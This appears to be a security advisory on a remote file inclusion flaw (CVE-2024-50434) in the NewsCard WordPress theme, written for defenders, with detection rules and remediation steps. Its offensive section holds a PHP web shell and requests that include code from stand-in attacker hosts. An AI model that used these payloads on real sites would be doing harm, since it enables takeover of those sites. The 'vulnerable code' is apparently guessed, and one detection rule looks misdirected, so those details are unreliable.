CVE-2024-50434

Executive Summary

CVE-2024-50434 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Themehorse NewsCard WordPress theme, affecting all versions up to and including 1.3. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers, leading to full remote code execution (RCE), data exfiltration, and complete site compromise. The flaw resides in improper control of filenames used in PHP include/require statements, specifically within the theme's file inclusion mechanism. As a WordPress ecosystem issue, this vulnerability does not stem from the underlying web server (Apache/Nginx) but from the theme's insecure coding practices. No public exploit code or patch is currently available, making this a high-priority zero-day threat for all sites running the affected theme.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed through the official WordPress theme repository and third-party marketplaces. The supply chain risk is elevated because:

• No official patch has been released by Themehorse.
• The theme may be bundled in WordPress multisite networks or managed hosting platforms.
• Attackers can weaponize this RFI to inject backdoors into the WordPress core, plugins, or other themes, propagating the compromise across the entire site.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The combination of unauthenticated remote exploitation, no user interaction, and full system compromise makes this a top-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability exists in the newscard theme's file inclusion logic, likely within a custom template loader or shortcode handler. The theme fails to sanitize user-supplied input used in PHP's include() or require() functions. An attacker can manipulate a parameter (e.g., template, file, or page) to point to a remote URL, causing the server to fetch and execute arbitrary PHP code from an attacker-controlled host.

Root Cause: The theme uses user input directly in a file inclusion statement without proper validation or allowlisting. For example:

include($_GET['template'] . '.php');

This allows an attacker to supply a URL like http://evil.com/shell.txt (without the .php extension) to include a remote file.

Exploitation Flow:

1. Attacker hosts a malicious PHP payload on a server they control.
2. Attacker crafts a request to the vulnerable WordPress site: http://target.com/?template=http://evil.com/shell
3. The server includes the remote file, executing the attacker's code.
4. The attacker gains a web shell, allowing further compromise.

Vulnerable vs. Patched Code

Vulnerable Code (newscard <= 1.3):

// In theme's functions.php or template loader
function newscard_load_template() {
    $template = $_GET['template'];
    include($template . '.php');
}

Patched Code (Hypothetical):

function newscard_load_template() {
    $allowed_templates = array('default', 'full-width', 'left-sidebar');
    $template = sanitize_file_name($_GET['template']);
    if (in_array($template, $allowed_templates)) {
        include(get_template_directory() . '/templates/' . $template . '.php');
    } else {
        // Fallback to default
        include(get_template_directory() . '/templates/default.php');
    }
}

The patched version uses:

• sanitize_file_name() to strip dangerous characters.
• An allowlist of valid templates.
• A fixed base path (get_template_directory()) to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running NewsCard <= 1.3.
• An attacker-controlled server with a PHP payload.

Step 1: Host Malicious Payload Create a file shell.txt on your server:

<?php system($_GET['cmd']); ?>

Step 2: Exploit RFI Send the following request to the target:

GET /?template=http://attacker.com/shell&cmd=id HTTP/1.1
Host: target.com

Step 3: Verify Execution The server will execute id and return the output.

Advanced Payload (Web Shell):

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Blue Team (Defensive)

Detection:

• Monitor web server logs for include() calls with external URLs.
• Look for requests containing http:// or https:// in parameters like template, file, or page.
• Use WAF rules to block RFI patterns.

Honeypot: Deploy a fake vulnerable endpoint to capture attacker payloads.

Lab Setup:

1. Install WordPress with NewsCard 1.3.
2. Set up a local attacker server (e.g., using Python http.server).
3. Test the RFI and observe logs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to unknown IPs/domains from the web server.
  • HTTP requests containing ?template=http:// or ?file=http://.
  • Unusual User-Agent strings in requests to the vulnerable parameter.

• File System IOCs:

  • Unexpected files in wp-content/uploads/ or wp-content/themes/newscard/.
  • Modified .htaccess files with RewriteRule directives.
  • Presence of eval() or base64_decode() in PHP files.

• Log IOCs:

  • PHP error logs showing include(): Failed opening 'http://...'.
  • Apache/Nginx access logs with 200 responses to RFI requests.

Detection Engineering

YARA Rule

rule CVE_2024_50434_RFI {
    meta:
        description = "Detects RFI attempts targeting NewsCard theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50434"
    strings:
        $rfiparam = /[?&](template|file|page)=https?:\/\// nocase
        $php_include = /include\(.*\$_/
    condition:
        $rfiparam and $php_include
}

Sigma Rule

title: CVE-2024-50434 NewsCard RFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with RFI patterns targeting NewsCard theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '?template=http://'
            - '?template=https://'
            - '&template=http://'
            - '&template=https://'
    condition: selection
falsepositives:
    - Legitimate use of external resources (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-50434 NewsCard RFI Attempt";
    flow:to_server,established;
    content:"?template="; http_uri;
    content:"http://"; distance:0; within:100;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the NewsCard theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Apply a virtual patch using a Web Application Firewall (WAF) to block RFI patterns.
3. Monitor logs for signs of exploitation.

Long-Term Fix:

• Since no official patch exists, consider migrating to a different theme.
• If you must keep NewsCard, manually patch the vulnerable code as shown in the "Patched Code" section.
• Regularly update all WordPress components.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework CVE-2024-50434 | Themehorse NewsCard RFI | Critical Contact: security@valters-it.com